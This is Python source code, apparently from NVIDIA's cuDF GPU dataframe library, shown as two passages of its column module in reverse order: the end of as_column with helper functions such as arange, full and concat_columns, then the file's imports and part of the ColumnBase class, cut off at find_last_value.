inputs are: * ``Column`` * ``Series`` * ``Index`` * Scalars (can be broadcasted to a specified `length`) * Objects exposing ``__cuda_array_interface__`` (e.g., numba device arrays) * Objects exposing ``__array_interface__``(e.g., numpy arrays) * pyarrow array * pandas.Categorical objects """ if isinstance(arbitrary, ColumnBase): if dtype is not None: return arbitrary.astype(dtype) else: return arbitrary elif isinstance(arbitrary, cudf.Series): data = arbitrary._column if dtype is not None: data = data.astype(dtype) elif isinstance(arbitrary, cudf.BaseIndex): data = arbitrary._values if dtype is not None: data = data.astype(dtype) elif hasattr(arbitrary, "__cuda_array_interface__"): desc = arbitrary.__cuda_array_interface__ current_dtype = np.dtype(desc["typestr"]) arb_dtype = ( np.dtype("float32") if current_dtype == "float16" else cudf.dtype(current_dtype) ) if desc.get("mask", None) is not None: # Extract and remove the mask from arbitrary before # passing to cupy.asarray mask = _mask_from_cuda_array_interface_desc(arbitrary) arbitrary = SimpleNamespace(__cuda_array_interface__=desc.copy()) arbitrary.__cuda_array_interface__["mask"] = None desc = arbitrary.__cuda_array_interface__ else: mask = None arbitrary = cupy.asarray(arbitrary) if arb_dtype != current_dtype: arbitrary = arbitrary.astype(arb_dtype) current_dtype = arb_dtype if ( desc["strides"] is not None and not (arbitrary.itemsize,) == arbitrary.strides ): arbitrary = cupy.ascontiguousarray(arbitrary) data = _data_from_cuda_array_interface_desc(arbitrary) col = build_column(data, dtype=current_dtype, mask=mask) if dtype is not None: col = col.astype(dtype) if isinstance(col, cudf.core.column.CategoricalColumn): return col elif np.issubdtype(col.dtype, np.floating): if nan_as_null or (mask is None and nan_as_null is None): mask = libcudf.transform.nans_to_nulls(col.fillna(np.nan)) col = col.set_mask(mask) elif np.issubdtype(col.dtype, np.datetime64): if nan_as_null or (mask is None and nan_as_null is None): col = _make_copy_replacing_NaT_with_null(col) return col elif isinstance(arbitrary, (pa.Array, pa.ChunkedArray)): if isinstance(arbitrary, pa.lib.HalfFloatArray): raise NotImplementedError( "Type casting from `float16` to `float32` is not " "yet supported in pyarrow, see: " "https://issues.apache.org/jira/browse/ARROW-3802" ) col = ColumnBase.from_arrow(arbitrary) if isinstance(arbitrary, pa.NullArray): new_dtype = cudf.dtype(arbitrary.type.to_pandas_dtype()) if dtype is not None: # Cast the column to the `dtype` if specified. col = col.astype(dtype) elif len(arbitrary) == 0: # If the column is empty, it has to be # a `float64` dtype. col = col.astype("float64") else: # If the null column is not empty, it has to # be of `object` dtype. col = col.astype(new_dtype) return col elif isinstance(arbitrary, (pd.Series, pd.Categorical)): if isinstance(arbitrary, pd.Series) and isinstance( arbitrary.array, pd.core.arrays.masked.BaseMaskedArray ): return as_column(arbitrary.array) if is_categorical_dtype(arbitrary): data = as_column(pa.array(arbitrary, from_pandas=True)) elif is_interval_dtype(arbitrary.dtype): data = as_column(pa.array(arbitrary, from_pandas=True)) elif arbitrary.dtype == np.bool_: data = as_column(cupy.asarray(arbitrary), dtype=arbitrary.dtype) elif arbitrary.dtype.kind in ("f"): arb_dtype = np.dtype(arbitrary.dtype) data = as_column( cupy.asarray(arbitrary, dtype=arb_dtype), nan_as_null=nan_as_null, dtype=dtype, ) elif arbitrary.dtype.kind in ("u", "i"): data = as_column( cupy.asarray(arbitrary), nan_as_null=nan_as_null, dtype=dtype ) else: pyarrow_array = pa.array(arbitrary, from_pandas=nan_as_null) if isinstance(pyarrow_array.type, pa.Decimal128Type): pyarrow_type = cudf.Decimal128Dtype.from_arrow( pyarrow_array.type ) else: pyarrow_type = arbitrary.dtype data = as_column(pyarrow_array, dtype=pyarrow_type) if dtype is not None: data = data.astype(dtype) elif isinstance(arbitrary, (pd.Timestamp, pd.Timedelta)): # This will always treat NaTs as nulls since it's not technically a # discrete value like NaN data = as_column(pa.array(pd.Series([arbitrary]), from_pandas=True)) if dtype is not None: data = data.astype(dtype) elif np.isscalar(arbitrary) and not isinstance(arbitrary, memoryview): length = length or 1 if ( (nan_as_null is True) and isinstance(arbitrary, (np.floating, float)) and np.isnan(arbitrary) ): arbitrary = None if dtype is None: dtype = cudf.dtype("float64") data = as_column( utils.scalar_broadcast_to(arbitrary, length, dtype=dtype) ) if not nan_as_null and not is_decimal_dtype(data.dtype): if np.issubdtype(data.dtype, np.floating): data = data.fillna(np.nan) elif np.issubdtype(data.dtype, np.datetime64): data = data.fillna(np.datetime64("NaT")) elif hasattr(arbitrary, "__array_interface__"): # CUDF assumes values are always contiguous desc = arbitrary.__array_interface__ shape = desc["shape"] arb_dtype = np.dtype(desc["typestr"]) # CUDF assumes values are always contiguous if len(shape) > 1: raise ValueError("Data must be 1-dimensional") arbitrary = np.asarray(arbitrary) # Handle case that `arbitrary` elements are cupy arrays if ( shape and shape[0] and hasattr(arbitrary[0], "__cuda_array_interface__") ): return as_column( cupy.asarray(arbitrary, dtype=arbitrary[0].dtype), nan_as_null=nan_as_null, dtype=dtype, length=length, ) if not arbitrary.flags["C_CONTIGUOUS"]: arbitrary = np.ascontiguousarray(arbitrary) if dtype is not None: arbitrary = arbitrary.astype(np.dtype(dtype)) if arb_dtype.kind == "M": time_unit = get_time_unit(arbitrary) cast_dtype = time_unit in ("D", "W", "M", "Y") if cast_dtype: arbitrary = arbitrary.astype(cudf.dtype("datetime64[s]")) buffer = Buffer(arbitrary.view("|u1")) mask = None if nan_as_null is None or nan_as_null is True: data = build_column(buffer, dtype=arbitrary.dtype) data = _make_copy_replacing_NaT_with_null(data) mask = data.mask data = cudf.core.column.datetime.DatetimeColumn( data=buffer, mask=mask, dtype=arbitrary.dtype ) elif arb_dtype.kind == "m": time_unit = get_time_unit(arbitrary) cast_dtype = time_unit in ("D", "W", "M", "Y") if cast_dtype: arbitrary = arbitrary.astype(cudf.dtype("timedelta64[s]")) buffer = Buffer(arbitrary.view("|u1")) mask = None if nan_as_null is None or nan_as_null is True: data = build_column(buffer, dtype=arbitrary.dtype) data = _make_copy_replacing_NaT_with_null(data) mask = data.mask data = cudf.core.column.timedelta.TimeDeltaColumn( data=buffer, size=len(arbitrary), mask=mask, dtype=arbitrary.dtype, ) elif ( arbitrary.size != 0 and arb_dtype.kind in ("O") and isinstance(arbitrary[0], pd._libs.interval.Interval) ): # changing from pd array to series,possible arrow bug interval_series = pd.Series(arbitrary) data = as_column( pa.Array.from_pandas(interval_series), dtype=arbitrary.dtype, ) if dtype is not None: data = data.astype(dtype) elif arb_dtype.kind in ("O", "U"): data = as_column( pa.Array.from_pandas(arbitrary), dtype=arbitrary.dtype ) # There is no cast operation available for pa.Array from int to # str, Hence instead of handling in pa.Array block, we # will have to type-cast here. if dtype is not None: data = data.astype(dtype) elif arb_dtype.kind in ("f"): if arb_dtype == np.dtype("float16"): arb_dtype = np.dtype("float32") arb_dtype = cudf.dtype(arb_dtype if dtype is None else dtype) data = as_column( cupy.asarray(arbitrary, dtype=arb_dtype), nan_as_null=nan_as_null, ) else: data = as_column(cupy.asarray(arbitrary), nan_as_null=nan_as_null) elif isinstance(arbitrary, pd.core.arrays.numpy_.PandasArray): if is_categorical_dtype(arbitrary.dtype): arb_dtype = arbitrary.dtype else: if arbitrary.dtype == pd.StringDtype(): arb_dtype = cudf.dtype("O") else: arb_dtype = ( cudf.dtype("float32") if arbitrary.dtype == "float16" else cudf.dtype(arbitrary.dtype) ) if arb_dtype != arbitrary.dtype.numpy_dtype: arbitrary = arbitrary.astype(arb_dtype) if ( arbitrary.size != 0 and isinstance(arbitrary[0], pd._libs.interval.Interval) and arb_dtype.kind in ("O") ): # changing from pd array to series,possible arrow bug interval_series = pd.Series(arbitrary) data = as_column( pa.Array.from_pandas(interval_series), dtype=arb_dtype ) elif arb_dtype.kind in ("O", "U"): data = as_column(pa.Array.from_pandas(arbitrary), dtype=arb_dtype) else: data = as_column( pa.array( arbitrary, from_pandas=True if nan_as_null is None else nan_as_null, ), nan_as_null=nan_as_null, ) if dtype is not None: data = data.astype(dtype) elif isinstance(arbitrary, memoryview): data = as_column( np.asarray(arbitrary), dtype=dtype, nan_as_null=nan_as_null ) elif isinstance(arbitrary, cudf.Scalar): data = ColumnBase.from_scalar(arbitrary, length if length else 1) elif isinstance(arbitrary, pd.core.arrays.masked.BaseMaskedArray): cudf_dtype = arbitrary._data.dtype data = Buffer(arbitrary._data.view("|u1")) data = build_column(data, dtype=cudf_dtype) mask = arbitrary._mask mask = bools_to_mask(as_column(mask).unary_operator("not")) data = data.set_mask(mask) else: try: data = as_column( memoryview(arbitrary), dtype=dtype, nan_as_null=nan_as_null ) except TypeError: if dtype is not None: # Arrow throws a type error if the input is of # mixed-precision and cannot fit into the provided # decimal type properly, see: # https://github.com/apache/arrow/pull/9948 # Hence we should let the exception propagate to # the user. if isinstance(dtype, cudf.core.dtypes.Decimal128Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal128Column.from_arrow(data) elif isinstance(dtype, cudf.core.dtypes.Decimal64Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal64Column.from_arrow(data) elif isinstance(dtype, cudf.core.dtypes.Decimal32Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal32Column.from_arrow(data) pa_type = None np_type = None try: if dtype is not None: if is_categorical_dtype(dtype) or is_interval_dtype(dtype): raise TypeError if is_list_dtype(dtype): data = pa.array(arbitrary) if type(data) not in (pa.ListArray, pa.NullArray): raise ValueError( "Cannot create list column from given data" ) return as_column(data, nan_as_null=nan_as_null) elif isinstance( dtype, cudf.StructDtype ) and not isinstance(dtype, cudf.IntervalDtype): data = pa.array(arbitrary, type=dtype.to_arrow()) return as_column(data, nan_as_null=nan_as_null) elif isinstance(dtype, cudf.core.dtypes.Decimal128Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal128Column.from_arrow( data ) elif isinstance(dtype, cudf.core.dtypes.Decimal64Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal64Column.from_arrow( data ) elif isinstance(dtype, cudf.core.dtypes.Decimal32Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal32Column.from_arrow( data ) if is_bool_dtype(dtype): # Need this special case handling for bool dtypes, # since 'boolean' & 'pd.BooleanDtype' are not # understood by np.dtype below. dtype = "bool" np_type = np.dtype(dtype).type pa_type = np_to_pa_dtype(np.dtype(dtype)) data = as_column( pa.array( arbitrary, type=pa_type, from_pandas=True if nan_as_null is None else nan_as_null, ), dtype=dtype, nan_as_null=nan_as_null, ) except (pa.ArrowInvalid, pa.ArrowTypeError, TypeError): if is_categorical_dtype(dtype): sr = pd.Series(arbitrary, dtype="category") data = as_column(sr, nan_as_null=nan_as_null, dtype=dtype) elif np_type == np.str_: sr = pd.Series(arbitrary, dtype="str") data = as_column(sr, nan_as_null=nan_as_null) elif is_interval_dtype(dtype): sr = pd.Series(arbitrary, dtype="interval") data = as_column(sr, nan_as_null=nan_as_null, dtype=dtype) elif ( isinstance(arbitrary, Sequence) and len(arbitrary) > 0 and any( cudf.utils.dtypes.is_column_like(arb) for arb in arbitrary ) ): return cudf.core.column.ListColumn.from_sequences( arbitrary ) else: data = as_column( _construct_array(arbitrary, dtype), dtype=dtype, nan_as_null=nan_as_null, ) return data def _construct_array( arbitrary: Any, dtype: Optional[Dtype] ) -> Union[np.ndarray, cupy.ndarray]: """ Construct a CuPy or NumPy array from `arbitrary` """ try: dtype = dtype if dtype is None else cudf.dtype(dtype) arbitrary = cupy.asarray(arbitrary, dtype=dtype) except (TypeError, ValueError): native_dtype = dtype if ( dtype is None and not cudf._lib.scalar._is_null_host_scalar(arbitrary) and infer_dtype(arbitrary) in ("mixed", "mixed-integer",) ): native_dtype = "object" arbitrary = np.asarray( arbitrary, dtype=native_dtype if native_dtype is None else np.dtype(native_dtype), ) return arbitrary def _data_from_cuda_array_interface_desc(obj) -> Buffer: desc = obj.__cuda_array_interface__ ptr = desc["data"][0] nelem = desc["shape"][0] if len(desc["shape"]) > 0 else 1 dtype = cudf.dtype(desc["typestr"]) data = Buffer(data=ptr, size=nelem * dtype.itemsize, owner=obj) return data def _mask_from_cuda_array_interface_desc(obj) -> Union[Buffer, None]: desc = obj.__cuda_array_interface__ mask = desc.get("mask", None) if mask is not None: desc = mask.__cuda_array_interface__ ptr = desc["data"][0] nelem = desc["shape"][0] typestr = desc["typestr"] typecode = typestr[1] if typecode == "t": mask_size = bitmask_allocation_size_bytes(nelem) mask = Buffer(data=ptr, size=mask_size, owner=obj) elif typecode == "b": col = as_column(mask) mask = bools_to_mask(col) else: raise NotImplementedError( f"Cannot infer mask from typestr {typestr}" ) return mask def serialize_columns(columns) -> Tuple[List[dict], List]: """ Return the headers and frames resulting from serializing a list of Column Parameters ---------- columns : list list of Columns to serialize Returns ------- headers : list list of header metadata for each Column frames : list list of frames """ headers: List[Dict[Any, Any]] = [] frames = [] if len(columns) > 0: header_columns = [c.serialize() for c in columns] headers, column_frames = zip(*header_columns) for f in column_frames: frames.extend(f) return headers, frames def deserialize_columns(headers: List[dict], frames: List) -> List[ColumnBase]: """ Construct a list of Columns from a list of headers and frames. """ columns = [] for meta in headers: col_frame_count = meta["frame_count"] col_typ = pickle.loads(meta["type-serialized"]) colobj = col_typ.deserialize(meta, frames[:col_frame_count]) columns.append(colobj) # Advance frames frames = frames[col_frame_count:] return columns def arange( start: Union[int, float], stop: Union[int, float] = None, step: Union[int, float] = 1, dtype=None, ) -> ColumnBase: """ Returns a column with evenly spaced values within a given interval. Values are generated within the half-open interval [start, stop). The first three arguments are mapped like the range built-in function, i.e. start and step are optional. Parameters ---------- start : int/float Start of the interval. stop : int/float, default is None Stop of the interval. step : int/float, default 1 Step width between each pair of consecutive values. dtype : default None Data type specifier. It is inferred from other arguments by default. Returns ------- cudf.core.column.NumericalColumn Examples -------- >>> import cudf >>> col = cudf.core.column.arange(2, 7, 1, dtype='int16') >>> col <cudf.core.column.numerical.NumericalColumn object at 0x7ff7998f8b90> >>> cudf.Series(col) 0 2 1 3 2 4 3 5 4 6 dtype: int16 """ if stop is None: stop = start start = 0 if step is None: step = 1 size = int(np.ceil((stop - start) / step)) return libcudf.filling.sequence( size, as_device_scalar(start, dtype=dtype), as_device_scalar(step, dtype=dtype), ) def full(size: int, fill_value: ScalarLike, dtype: Dtype = None) -> ColumnBase: """ Returns a column of given size and dtype, filled with a given value. Parameters ---------- size : int size of the expected column. fill_value : scalar A scalar value to fill a new array. dtype : default None Data type specifier. It is inferred from other arguments by default. Returns ------- Column Examples -------- >>> import cudf >>> col = cudf.core.column.full(size=5, fill_value=7, dtype='int8') >>> col <cudf.core.column.numerical.NumericalColumn object at 0x7fa0912e8b90> >>> cudf.Series(col) 0 7 1 7 2 7 3 7 4 7 dtype: int8 """ return ColumnBase.from_scalar(cudf.Scalar(fill_value, dtype), size) def concat_columns(objs: "MutableSequence[ColumnBase]") -> ColumnBase: """Concatenate a sequence of columns.""" if len(objs) == 0: dtype = cudf.dtype(None) return column_empty(0, dtype=dtype, masked=True) # If all columns are `NumericalColumn` with different dtypes, # we cast them to a common dtype. # Notice, we can always cast pure null columns not_null_col_dtypes = [o.dtype for o in objs if o.valid_count] if len(not_null_col_dtypes) and all( _is_non_decimal_numeric_dtype(dtyp) and np.issubdtype(dtyp, np.datetime64) for dtyp in not_null_col_dtypes ): # Use NumPy to find a common dtype common_dtype = np.find_common_type(not_null_col_dtypes, []) # Cast all columns to the common dtype objs = [obj.astype(common_dtype) for obj in objs] # Find the first non-null column: head = next((obj for obj in objs if obj.valid_count), objs[0]) for i, obj in enumerate(objs): # Check that all columns are the same type: if not is_dtype_equal(obj.dtype, head.dtype): # if all null, cast to appropriate dtype if obj.valid_count == 0: objs[i] = column_empty_like( head, dtype=head.dtype, masked=True, newsize=len(obj) ) else: raise ValueError("All columns must be the same type") # TODO: This logic should be generalized to a dispatch to # ColumnBase._concat so that all subclasses can override necessary # behavior. However, at the moment it's not clear what that API should look # like, so CategoricalColumn simply implements a minimal working API. if all(is_categorical_dtype(o.dtype) for o in objs): return cudf.core.column.categorical.CategoricalColumn._concat( cast( MutableSequence[ cudf.core.column.categorical.CategoricalColumn ], objs, ) ) newsize = sum(map(len, objs)) if newsize > libcudf.MAX_COLUMN_SIZE: raise MemoryError( f"Result of concat cannot have " f"size > {libcudf.MAX_COLUMN_SIZE_STR}" ) elif newsize == 0: col = column_empty(0, head.dtype, masked=True) else: # Filter out inputs that have 0 length, then concatenate. objs = [o for o in objs if len(o)] try: col = libcudf.concat.concat_columns(objs) except RuntimeError as e: if "exceeds size_type range" in str(e): raise OverflowError( "total size of output is too large for a cudf column" ) from e raise return col
# Copyright (c) 2018-2022, NVIDIA CORPORATION. from __future__ import annotations import builtins import pickle import warnings from types import SimpleNamespace from typing import ( Any, Dict, List, MutableSequence, Optional, Sequence, Tuple, TypeVar, Union, cast, ) import cupy import numpy as np import pandas as pd import pyarrow as pa from numba import cuda import cudf from cudf import _lib as libcudf from cudf._lib.column import Column from cudf._lib.null_mask import ( MaskState, bitmask_allocation_size_bytes, create_null_mask, ) from cudf._lib.scalar import as_device_scalar from cudf._lib.stream_compaction import ( apply_boolean_mask, distinct_count as cpp_distinct_count, drop_duplicates, drop_nulls, ) from cudf._lib.transform import bools_to_mask from cudf._typing import BinaryOperand, ColumnLike, Dtype, ScalarLike from cudf.api.types import ( _is_non_decimal_numeric_dtype, _is_scalar_or_zero_d_array, infer_dtype, is_bool_dtype, is_categorical_dtype, is_decimal32_dtype, is_decimal64_dtype, is_decimal128_dtype, is_decimal_dtype, is_dtype_equal, is_integer_dtype, is_interval_dtype, is_list_dtype, is_scalar, is_string_dtype, is_struct_dtype, ) from cudf.core.abc import Serializable from cudf.core.buffer import Buffer from cudf.core.dtypes import ( CategoricalDtype, IntervalDtype, ListDtype, StructDtype, ) from cudf.utils import utils from cudf.utils.dtypes import ( cudf_dtype_from_pa_type, get_time_unit, min_unsigned_type, np_to_pa_dtype, pandas_dtypes_alias_to_cudf_alias, pandas_dtypes_to_np_dtypes, ) from cudf.utils.utils import mask_dtype T = TypeVar("T", bound="ColumnBase") class ColumnBase(Column, Serializable): def as_frame(self) -> "cudf.core.frame.Frame": """ Converts a Column to Frame """ return cudf.core.single_column_frame.SingleColumnFrame( {None: self.copy(deep=False)} ) @property def data_array_view(self) -> "cuda.devicearray.DeviceNDArray": """ View the data as a device array object """ return cuda.as_cuda_array(self.data).view(self.dtype) @property def mask_array_view(self) -> "cuda.devicearray.DeviceNDArray": """ View the mask as a device array """ return cuda.as_cuda_array(self.mask).view(mask_dtype) def __len__(self) -> int: return self.size def __repr__(self): return ( f"{object.__repr__(self)}\n" f"{self.to_arrow().to_string()}\n" f"dtype: {self.dtype}" ) def to_pandas(self, index: pd.Index = None, **kwargs) -> "pd.Series": """Convert object to pandas type. The default implementation falls back to PyArrow for the conversion. """ # This default implementation does not handle nulls in any meaningful # way, but must consume the parameter to avoid passing it to PyArrow # (which does not recognize it). kwargs.pop("nullable", None) pd_series = self.to_arrow().to_pandas(**kwargs) if index is not None: pd_series.index = index return pd_series def __iter__(self): cudf.utils.utils.raise_iteration_error(obj=self) @property def values_host(self) -> "np.ndarray": """ Return a numpy representation of the Column. """ if len(self) == 0: return np.array([], dtype=self.dtype) if self.has_nulls(): raise ValueError("Column must have no nulls.") return self.data_array_view.copy_to_host() @property def values(self) -> "cupy.ndarray": """ Return a CuPy representation of the Column. """ if len(self) == 0: return cupy.array([], dtype=self.dtype) if self.has_nulls(): raise ValueError("Column must have no nulls.") return cupy.asarray(self.data_array_view) def find_and_replace( self: T, to_replace: ColumnLike, replacement: ColumnLike, all_nan: bool = False, ) -> T: raise NotImplementedError def clip(self, lo: ScalarLike, hi: ScalarLike) -> ColumnBase: return libcudf.replace.clip(self, lo, hi) def equals(self, other: ColumnBase, check_dtypes: bool = False) -> bool: if self is other: return True if other is None or len(self) != len(other): return False if check_dtypes and (self.dtype != other.dtype): return False return self.binary_operator("NULL_EQUALS", other).all() def all(self, skipna: bool = True) -> bool: # If all entries are null the result is True, including when the column # is empty. result_col = self.nans_to_nulls() if skipna else self if result_col.null_count == result_col.size: return True if isinstance(result_col, ColumnBase): return libcudf.reduce.reduce("all", result_col, dtype=np.bool_) return result_col def any(self, skipna: bool = True) -> bool: # Early exit for fast cases. result_col = self.nans_to_nulls() if skipna else self if not skipna and result_col.has_nulls(): return True elif skipna and result_col.null_count == result_col.size: return False if isinstance(result_col, ColumnBase): return libcudf.reduce.reduce("any", result_col, dtype=np.bool_) return result_col def dropna(self, drop_nan: bool = False) -> ColumnBase: col = self.nans_to_nulls() if drop_nan else self return drop_nulls([col])[0] def to_arrow(self) -> pa.Array: """Convert to PyArrow Array Examples -------- >>> import cudf >>> col = cudf.core.column.as_column([1, 2, 3, 4]) >>> col.to_arrow() <pyarrow.lib.Int64Array object at 0x7f886547f830> [ 1, 2, 3, 4 ] """ return libcudf.interop.to_arrow( cudf.core.frame.Frame( cudf.core.column_accessor.ColumnAccessor({"None": self}) ), [["None"]], keep_index=False, )["None"].chunk(0) @classmethod def from_arrow(cls, array: pa.Array) -> ColumnBase: """ Convert PyArrow Array/ChunkedArray to column Parameters ---------- array : PyArrow Array/ChunkedArray Returns ------- column Examples -------- >>> import pyarrow as pa >>> import cudf >>> cudf.core.column.ColumnBase.from_arrow(pa.array([1, 2, 3, 4])) <cudf.core.column.numerical.NumericalColumn object at 0x7f8865497ef0> """ if not isinstance(array, (pa.Array, pa.ChunkedArray)): raise TypeError("array should be PyArrow array or chunked array") data = pa.table([array], [None]) if isinstance(array.type, pa.DictionaryType): indices_table = pa.table( { "None": pa.chunked_array( [chunk.indices for chunk in data["None"].chunks], type=array.type.index_type, ) } ) dictionaries_table = pa.table( { "None": pa.chunked_array( [chunk.dictionary for chunk in data["None"].chunks], type=array.type.value_type, ) } ) codes = libcudf.interop.from_arrow( indices_table, indices_table.column_names )[0]["None"] categories = libcudf.interop.from_arrow( dictionaries_table, dictionaries_table.column_names )[0]["None"] return build_categorical_column( categories=categories, codes=codes, mask=codes.base_mask, size=codes.size, ordered=array.type.ordered, ) elif isinstance(array.type, pa.StructType): return cudf.core.column.StructColumn.from_arrow(array) elif isinstance( array.type, pd.core.arrays._arrow_utils.ArrowIntervalType ): return cudf.core.column.IntervalColumn.from_arrow(array) result = libcudf.interop.from_arrow(data, data.column_names)[0]["None"] return result._with_type_metadata(cudf_dtype_from_pa_type(array.type)) def _get_mask_as_column(self) -> ColumnBase: return libcudf.transform.mask_to_bools( self.base_mask, self.offset, self.offset + len(self) ) def memory_usage(self) -> int: n = 0 if self.data is not None: n += self.data.size if self.nullable: n += bitmask_allocation_size_bytes(self.size) return n def _default_na_value(self) -> Any: raise NotImplementedError() # TODO: This method is deprecated and can be removed when the associated # Frame methods are removed. def to_gpu_array(self, fillna=None) -> "cuda.devicearray.DeviceNDArray": """Get a dense numba device array for the data. Parameters ---------- fillna : scalar, 'pandas', or None See *fillna* in ``.to_array``. Notes ----- if ``fillna`` is ``None``, null values are skipped. Therefore, the output size could be smaller. """ if fillna: return self.fillna(self._default_na_value()).data_array_view else: return self.dropna(drop_nan=False).data_array_view # TODO: This method is deprecated and can be removed when the associated # Frame methods are removed. def to_array(self, fillna=None) -> np.ndarray: """Get a dense numpy array for the data. Parameters ---------- fillna : scalar, 'pandas', or None Defaults to None, which will skip null values. If it equals "pandas", null values are filled with NaNs. Non integral dtype is promoted to np.float64. Notes ----- if ``fillna`` is ``None``, null values are skipped. Therefore, the output size could be smaller. """ return self.to_gpu_array(fillna=fillna).copy_to_host() def _fill( self, fill_value: ScalarLike, begin: int, end: int, inplace: bool = False, ) -> Optional[ColumnBase]: if end <= begin or begin >= self.size: return self if inplace else self.copy() fill_scalar = as_device_scalar(fill_value, self.dtype) if not inplace: return libcudf.filling.fill(self, begin, end, fill_scalar) if is_string_dtype(self.dtype): return self._mimic_inplace( libcudf.filling.fill(self, begin, end, fill_scalar), inplace=True, ) if fill_value is None and not self.nullable: mask = create_null_mask(self.size, state=MaskState.ALL_VALID) self.set_base_mask(mask) libcudf.filling.fill_in_place(self, begin, end, fill_scalar) return self def shift(self, offset: int, fill_value: ScalarLike) -> ColumnBase: return libcudf.copying.shift(self, offset, fill_value) @property def valid_count(self) -> int: """Number of non-null values""" return len(self) - self.null_count @property def nullmask(self) -> Buffer: """The gpu buffer for the null-mask""" if not self.nullable: raise ValueError("Column has no null mask") return self.mask_array_view def copy(self: T, deep: bool = True) -> T: """Columns are immutable, so a deep copy produces a copy of the underlying data and mask and a shallow copy creates a new column and copies the references of the data and mask. """ if deep: result = libcudf.copying.copy_column(self) return cast(T, result._with_type_metadata(self.dtype)) else: return cast( T, build_column( self.base_data, self.dtype, mask=self.base_mask, size=self.size, offset=self.offset, children=self.base_children, ), ) def view(self, dtype: Dtype) -> ColumnBase: """ View the data underlying a column as different dtype. The source column must divide evenly into the size of the desired data type. Columns with nulls may only be viewed as dtypes with size equal to source dtype size Parameters ---------- dtype : NumPy dtype, string The dtype to view the data as """ dtype = cudf.dtype(dtype) if dtype.kind in ("o", "u", "s"): raise TypeError( "Bytes viewed as str without metadata is ambiguous" ) if self.dtype.itemsize == dtype.itemsize: return build_column( self.base_data, dtype=dtype, mask=self.base_mask, size=self.size, offset=self.offset, ) else: if self.null_count > 0: raise ValueError( "Can not produce a view of a column with nulls" ) if (self.size * self.dtype.itemsize) % dtype.itemsize: raise ValueError( f"Can not divide {self.size * self.dtype.itemsize}" + f" total bytes into {dtype} with size {dtype.itemsize}" ) # This assertion prevents mypy errors below. assert self.base_data is not None new_buf_ptr = ( self.base_data.ptr + self.offset * self.dtype.itemsize ) new_buf_size = self.size * self.dtype.itemsize view_buf = Buffer( data=new_buf_ptr, size=new_buf_size, owner=self.base_data._owner, ) return build_column(view_buf, dtype=dtype) def element_indexing(self, index: int): """Default implementation for indexing to an element Raises ------ ``IndexError`` if out-of-bound """ idx = np.int32(index) if idx < 0: idx = len(self) + idx if idx > len(self) - 1 or idx < 0: raise IndexError("single positional indexer is out-of-bounds") return libcudf.copying.get_element(self, idx).value def slice(self, start: int, stop: int, stride: int = None) -> ColumnBase: stride = 1 if stride is None else stride if start < 0: start = start + len(self) if stop < 0 and not (stride < 0 and stop == -1): stop = stop + len(self) if (stride > 0 and start >= stop) or (stride < 0 and start <= stop): return column_empty(0, self.dtype, masked=True) # compute mask slice if stride == 1: return libcudf.copying.column_slice(self, [start, stop])[ 0 ]._with_type_metadata(self.dtype) else: # Need to create a gather map for given slice with stride gather_map = arange( start=start, stop=stop, step=stride, dtype=cudf.dtype(np.int32), ) return self.take(gather_map) def __getitem__(self, arg) -> Union[ScalarLike, ColumnBase]: if _is_scalar_or_zero_d_array(arg): return self.element_indexing(int(arg)) elif isinstance(arg, slice): start, stop, stride = arg.indices(len(self)) return self.slice(start, stop, stride) else: arg = as_column(arg) if len(arg) == 0: arg = as_column([], dtype="int32") if is_integer_dtype(arg.dtype): return self.take(arg) if is_bool_dtype(arg.dtype): return self.apply_boolean_mask(arg) raise NotImplementedError(type(arg)) def __setitem__(self, key: Any, value: Any): """ Set the value of self[key] to value. If value and self are of different types, value is coerced to self.dtype """ if isinstance(key, slice): key_start, key_stop, key_stride = key.indices(len(self)) if key_start < 0: key_start = key_start + len(self) if key_stop < 0: key_stop = key_stop + len(self) if key_start >= key_stop: return self.copy() if (key_stride is None or key_stride == 1) and is_scalar(value): return self._fill(value, key_start, key_stop, inplace=True) if key_stride != 1 or key_stride is not None or is_scalar(value): key = arange( start=key_start, stop=key_stop, step=key_stride, dtype=cudf.dtype(np.int32), ) nelem = len(key) else: nelem = abs(key_stop - key_start) else: key = as_column(key) if is_bool_dtype(key.dtype): if not len(key) == len(self): raise ValueError( "Boolean mask must be of same length as column" ) key = arange(len(self))[key] if hasattr(value, "__len__") and len(value) == len(self): value = as_column(value)[key] nelem = len(key) if is_scalar(value): value = cudf.Scalar(value, dtype=self.dtype) else: if len(value) != nelem: msg = ( f"Size mismatch: cannot set value " f"of size {len(value)} to indexing result of size " f"{nelem}" ) raise ValueError(msg) value = as_column(value).astype(self.dtype) if ( isinstance(key, slice) and (key_stride == 1 or key_stride is None) and not is_scalar(value) ): out = libcudf.copying.copy_range( value, self, 0, nelem, key_start, key_stop, False ) else: try: if not isinstance(key, Column): key = as_column(key) if not is_scalar(value) and not isinstance(value, Column): value = as_column(value) out = libcudf.copying.scatter( value, key, self )._with_type_metadata(self.dtype) except RuntimeError as e: if "out of bounds" in str(e): raise IndexError( f"index out of bounds for column of size {len(self)}" ) from e raise self._mimic_inplace(out, inplace=True) def fillna( self: T, value: Any = None, method: builtins.str = None, dtype: Dtype = None, ) -> T: """Fill null values with ``value``. Returns a copy with null filled. """ return libcudf.replace.replace_nulls( input_col=self, replacement=value, method=method, dtype=dtype ) def isnull(self) -> ColumnBase: """Identify missing values in a Column.""" result = libcudf.unary.is_null(self) if self.dtype.kind == "f": # Need to consider `np.nan` values incase # of a float column result = result | libcudf.unary.is_nan(self) return result def notnull(self) -> ColumnBase: """Identify non-missing values in a Column.""" result = libcudf.unary.is_valid(self) if self.dtype.kind == "f": # Need to consider `np.nan` values incase # of a float column result = result & libcudf.unary.is_non_nan(self) return result def find_first_value( self, value: ScalarLike, closest: bool = False ) -> int: """ Returns offset of first value that matches """ # FIXME: Inefficient, may be need a libcudf api index = cudf.core.index.RangeIndex(0, stop=len(self)) indices = index.take(self == value) if not len(indices): raise ValueError("value not found") return indices[0] def find_last_value(self, value: 